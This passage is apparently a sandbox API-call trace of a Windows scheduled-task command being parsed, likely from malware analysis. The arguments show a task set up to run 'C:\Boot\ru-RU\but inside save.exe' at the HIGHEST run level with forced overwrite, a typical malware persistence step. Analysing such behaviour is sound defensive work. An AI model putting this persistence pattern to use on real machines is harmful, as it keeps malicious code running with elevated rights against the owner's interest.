returned="/" [0132.893] lstrlenW (lpString="?") returned 1 [0132.893] lstrlenW (lpString="?") returned 1 [0132.893] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.893] lstrlenW (lpString="tr") returned 2 [0132.893] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.893] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.893] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.893] lstrlenW (lpString="|?|") returned 3 [0132.893] lstrlenW (lpString="|tr|") returned 4 [0132.893] SetLastError (dwErrCode=0x490) [0132.893] lstrlenW (lpString="create") returned 6 [0132.893] lstrlenW (lpString="create") returned 6 [0132.893] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.893] lstrlenW (lpString="tr") returned 2 [0132.893] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.893] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.893] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.893] lstrlenW (lpString="|create|") returned 8 [0132.894] lstrlenW (lpString="|tr|") returned 4 [0132.894] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0132.894] SetLastError (dwErrCode=0x490) [0132.894] lstrlenW (lpString="delete") returned 6 [0132.894] lstrlenW (lpString="delete") returned 6 [0132.894] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] lstrlenW (lpString="tr") returned 2 [0132.894] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.894] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.894] lstrlenW (lpString="|delete|") returned 8 [0132.894] lstrlenW (lpString="|tr|") returned 4 [0132.894] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0132.894] SetLastError (dwErrCode=0x490) [0132.894] lstrlenW (lpString="query") returned 5 [0132.894] lstrlenW (lpString="query") returned 5 [0132.894] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] lstrlenW (lpString="tr") returned 2 [0132.894] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.894] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.894] lstrlenW (lpString="|query|") returned 7 [0132.894] lstrlenW (lpString="|tr|") returned 4 [0132.894] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0132.894] SetLastError (dwErrCode=0x490) [0132.894] lstrlenW (lpString="change") returned 6 [0132.894] lstrlenW (lpString="change") returned 6 [0132.894] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] lstrlenW (lpString="tr") returned 2 [0132.894] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.894] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.895] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.895] lstrlenW (lpString="|change|") returned 8 [0132.895] lstrlenW (lpString="|tr|") returned 4 [0132.895] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0132.895] SetLastError (dwErrCode=0x490) [0132.895] lstrlenW (lpString="run") returned 3 [0132.895] lstrlenW (lpString="run") returned 3 [0132.895] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.895] lstrlenW (lpString="tr") returned 2 [0132.895] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.895] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.895] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.895] lstrlenW (lpString="|run|") returned 5 [0132.895] lstrlenW (lpString="|tr|") returned 4 [0132.895] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0132.895] SetLastError (dwErrCode=0x490) [0132.895] lstrlenW (lpString="end") returned 3 [0132.895] lstrlenW (lpString="end") returned 3 [0132.895] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.895] lstrlenW (lpString="tr") returned 2 [0132.895] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.895] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.895] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.895] lstrlenW (lpString="|end|") returned 5 [0132.895] lstrlenW (lpString="|tr|") returned 4 [0132.895] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0132.895] SetLastError (dwErrCode=0x490) [0132.895] lstrlenW (lpString="showsid") returned 7 [0132.895] lstrlenW (lpString="showsid") returned 7 [0132.895] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.895] lstrlenW (lpString="tr") returned 2 [0132.895] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.896] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.896] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tr|") returned 4 [0132.896] lstrlenW (lpString="|showsid|") returned 9 [0132.896] lstrlenW (lpString="|tr|") returned 4 [0132.896] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0132.896] SetLastError (dwErrCode=0x490) [0132.896] SetLastError (dwErrCode=0x490) [0132.896] SetLastError (dwErrCode=0x0) [0132.896] lstrlenW (lpString="/tr") returned 3 [0132.896] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0132.896] SetLastError (dwErrCode=0x490) [0132.896] SetLastError (dwErrCode=0x0) [0132.896] lstrlenW (lpString="/tr") returned 3 [0132.896] GetProcessHeap () returned 0x190000 [0132.896] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x8) returned 0x1adcf0 [0132.896] GetProcessHeap () returned 0x190000 [0132.896] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd40 [0132.896] SetLastError (dwErrCode=0x0) [0132.896] SetLastError (dwErrCode=0x0) [0132.896] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.896] lstrlenW (lpString="-/") returned 2 [0132.896] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.896] SetLastError (dwErrCode=0x490) [0132.896] SetLastError (dwErrCode=0x490) [0132.896] SetLastError (dwErrCode=0x0) [0132.896] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.896] StrChrIW (lpStart="'C:\\Boot\\ru-RU\\but inside save.exe'", wMatch=0x3a) returned=":\\Boot\\ru-RU\\but inside save.exe'" [0132.896] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ad500 [0132.897] _memicmp (_Buf1=0x1ad500, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad520 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x18) returned 0x1ad540 [0132.897] _memicmp (_Buf1=0x1ad540, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x4a) returned 0x1add10 [0132.897] SetLastError (dwErrCode=0x7a) [0132.897] SetLastError (dwErrCode=0x0) [0132.897] SetLastError (dwErrCode=0x0) [0132.897] lstrlenW (lpString="'C") returned 2 [0132.897] lstrlenW (lpString="-/") returned 2 [0132.897] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0132.897] SetLastError (dwErrCode=0x490) [0132.897] SetLastError (dwErrCode=0x490) [0132.897] SetLastError (dwErrCode=0x0) [0132.897] lstrlenW (lpString="'C:\\Boot\\ru-RU\\but inside save.exe'") returned 35 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x48) returned 0x1a9330 [0132.897] GetProcessHeap () returned 0x190000 [0132.897] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd70 [0132.897] SetLastError (dwErrCode=0x0) [0132.897] SetLastError (dwErrCode=0x0) [0132.897] lstrlenW (lpString="/rl") returned 3 [0132.897] lstrlenW (lpString="-/") returned 2 [0132.897] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.897] lstrlenW (lpString="?") returned 1 [0132.898] lstrlenW (lpString="?") returned 1 [0132.898] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] lstrlenW (lpString="rl") returned 2 [0132.898] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.898] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.898] lstrlenW (lpString="|?|") returned 3 [0132.898] lstrlenW (lpString="|rl|") returned 4 [0132.898] SetLastError (dwErrCode=0x490) [0132.898] lstrlenW (lpString="create") returned 6 [0132.898] lstrlenW (lpString="create") returned 6 [0132.898] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] lstrlenW (lpString="rl") returned 2 [0132.898] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.898] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.898] lstrlenW (lpString="|create|") returned 8 [0132.898] lstrlenW (lpString="|rl|") returned 4 [0132.898] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0132.898] SetLastError (dwErrCode=0x490) [0132.898] lstrlenW (lpString="delete") returned 6 [0132.898] lstrlenW (lpString="delete") returned 6 [0132.898] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] lstrlenW (lpString="rl") returned 2 [0132.898] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.898] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.899] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.899] lstrlenW (lpString="|delete|") returned 8 [0132.899] lstrlenW (lpString="|rl|") returned 4 [0132.899] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0132.899] SetLastError (dwErrCode=0x490) [0132.899] lstrlenW (lpString="query") returned 5 [0132.899] lstrlenW (lpString="query") returned 5 [0132.899] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.899] lstrlenW (lpString="rl") returned 2 [0132.899] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.899] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.899] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.899] lstrlenW (lpString="|query|") returned 7 [0132.899] lstrlenW (lpString="|rl|") returned 4 [0132.899] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0132.899] SetLastError (dwErrCode=0x490) [0132.899] lstrlenW (lpString="change") returned 6 [0132.899] lstrlenW (lpString="change") returned 6 [0132.899] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.899] lstrlenW (lpString="rl") returned 2 [0132.899] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.899] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.899] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.899] lstrlenW (lpString="|change|") returned 8 [0132.899] lstrlenW (lpString="|rl|") returned 4 [0132.899] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0132.899] SetLastError (dwErrCode=0x490) [0132.900] lstrlenW (lpString="run") returned 3 [0132.900] lstrlenW (lpString="run") returned 3 [0132.900] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] lstrlenW (lpString="rl") returned 2 [0132.900] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.900] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.900] lstrlenW (lpString="|run|") returned 5 [0132.900] lstrlenW (lpString="|rl|") returned 4 [0132.900] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0132.900] SetLastError (dwErrCode=0x490) [0132.900] lstrlenW (lpString="end") returned 3 [0132.900] lstrlenW (lpString="end") returned 3 [0132.900] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] lstrlenW (lpString="rl") returned 2 [0132.900] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.900] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.900] lstrlenW (lpString="|end|") returned 5 [0132.900] lstrlenW (lpString="|rl|") returned 4 [0132.900] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0132.900] SetLastError (dwErrCode=0x490) [0132.900] lstrlenW (lpString="showsid") returned 7 [0132.900] lstrlenW (lpString="showsid") returned 7 [0132.900] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] lstrlenW (lpString="rl") returned 2 [0132.900] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.900] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.900] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|rl|") returned 4 [0132.900] lstrlenW (lpString="|showsid|") returned 9 [0132.901] lstrlenW (lpString="|rl|") returned 4 [0132.901] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="/rl") returned 3 [0132.901] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="/rl") returned 3 [0132.901] GetProcessHeap () returned 0x190000 [0132.901] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x8) returned 0x1add70 [0132.901] GetProcessHeap () returned 0x190000 [0132.901] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acda0 [0132.901] SetLastError (dwErrCode=0x0) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="HIGHEST") returned 7 [0132.901] lstrlenW (lpString="-/") returned 2 [0132.901] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="HIGHEST") returned 7 [0132.901] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0132.901] SetLastError (dwErrCode=0x490) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="HIGHEST") returned 7 [0132.901] GetProcessHeap () returned 0x190000 [0132.901] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x10) returned 0x1ad560 [0132.901] GetProcessHeap () returned 0x190000 [0132.901] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acdd0 [0132.901] SetLastError (dwErrCode=0x0) [0132.901] SetLastError (dwErrCode=0x0) [0132.901] lstrlenW (lpString="/f") returned 2 [0132.901] lstrlenW (lpString="-/") returned 2 [0132.901] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.901] lstrlenW (lpString="?") returned 1 [0132.902] lstrlenW (lpString="?") returned 1 [0132.902] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] lstrlenW (lpString="f") returned 1 [0132.902] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.902] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.902] lstrlenW (lpString="|?|") returned 3 [0132.902] lstrlenW (lpString="|f|") returned 3 [0132.902] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0132.902] SetLastError (dwErrCode=0x490) [0132.902] lstrlenW (lpString="create") returned 6 [0132.902] lstrlenW (lpString="create") returned 6 [0132.902] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] lstrlenW (lpString="f") returned 1 [0132.902] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.902] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.902] lstrlenW (lpString="|create|") returned 8 [0132.902] lstrlenW (lpString="|f|") returned 3 [0132.902] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0132.902] SetLastError (dwErrCode=0x490) [0132.902] lstrlenW (lpString="delete") returned 6 [0132.902] lstrlenW (lpString="delete") returned 6 [0132.902] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] lstrlenW (lpString="f") returned 1 [0132.902] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.902] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.902] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.902] lstrlenW (lpString="|delete|") returned 8 [0132.902] lstrlenW (lpString="|f|") returned 3 [0132.902] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0132.903] SetLastError (dwErrCode=0x490) [0132.903] lstrlenW (lpString="query") returned 5 [0132.903] lstrlenW (lpString="query") returned 5 [0132.903] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] lstrlenW (lpString="f") returned 1 [0132.903] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.903] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.903] lstrlenW (lpString="|query|") returned 7 [0132.903] lstrlenW (lpString="|f|") returned 3 [0132.903] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0132.903] SetLastError (dwErrCode=0x490) [0132.903] lstrlenW (lpString="change") returned 6 [0132.903] lstrlenW (lpString="change") returned 6 [0132.903] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] lstrlenW (lpString="f") returned 1 [0132.903] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.903] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.903] lstrlenW (lpString="|change|") returned 8 [0132.903] lstrlenW (lpString="|f|") returned 3 [0132.903] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0132.903] SetLastError (dwErrCode=0x490) [0132.903] lstrlenW (lpString="run") returned 3 [0132.903] lstrlenW (lpString="run") returned 3 [0132.903] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] lstrlenW (lpString="f") returned 1 [0132.903] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.903] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.903] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.904] lstrlenW (lpString="|run|") returned 5 [0132.904] lstrlenW (lpString="|f|") returned 3 [0132.904] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0132.904] SetLastError (dwErrCode=0x490) [0132.904] lstrlenW (lpString="end") returned 3 [0132.904] lstrlenW (lpString="end") returned 3 [0132.904] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.904] lstrlenW (lpString="f") returned 1 [0132.904] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.904] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.904] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.904] lstrlenW (lpString="|end|") returned 5 [0132.904] lstrlenW (lpString="|f|") returned 3 [0132.904] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0132.904] SetLastError (dwErrCode=0x490) [0132.904] lstrlenW (lpString="showsid") returned 7 [0132.904] lstrlenW (lpString="showsid") returned 7 [0132.904] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.904] lstrlenW (lpString="f") returned 1 [0132.904] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.904] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.904] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|f|") returned 3 [0132.904] lstrlenW (lpString="|showsid|") returned 9 [0132.905] lstrlenW (lpString="|f|") returned 3 [0132.905] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0132.905] SetLastError (dwErrCode=0x490) [0132.905] SetLastError (dwErrCode=0x490) [0132.905] SetLastError (dwErrCode=0x0) [0132.905] lstrlenW (lpString="/f") returned 2 [0132.905] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0132.905] SetLastError (dwErrCode=0x490) [0132.905] SetLastError (dwErrCode=0x0) [0132.905] lstrlenW (lpString="/f") returned 2 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x6) returned 0x1add90 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1ace00 [0132.905] SetLastError (dwErrCode=0x0) [0132.905] GetProcessHeap () returned 0x190000 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1e0) returned 1 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1ac1e0) returned 0x8 [0132.905] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1e0 | out: hHeap=0x190000) returned 1 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acbf0) returned 1 [0132.905] GetProcessHeap () returned 0x190000 [0132.905] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acbf0) returned 0x20 [0132.906] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acbf0 | out: hHeap=0x190000) returned 1 [0132.906] GetProcessHeap () returned 0x190000 [0132.906] GetProcessHeap () returned 0x190000 [0132.906] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc20) returned 1 [0132.906] GetProcessHeap () returned 0x190000 [0132.906] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acc20) returned 0x22 [0132.906] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc20 | out: hHeap=0x190000) returned 1 [0132.906] GetProcessHeap () returned 0x190000 [0132.906] GetProcessHeap () returned 0x190000 [0132.906] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc50) returned 1 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1acc50) returned 0x20 [0132.907] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc50 | out: hHeap=0x190000) returned 1 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac270) returned 1 [0132.907] GetProcessHeap () returned 0x190000 [0132.907] 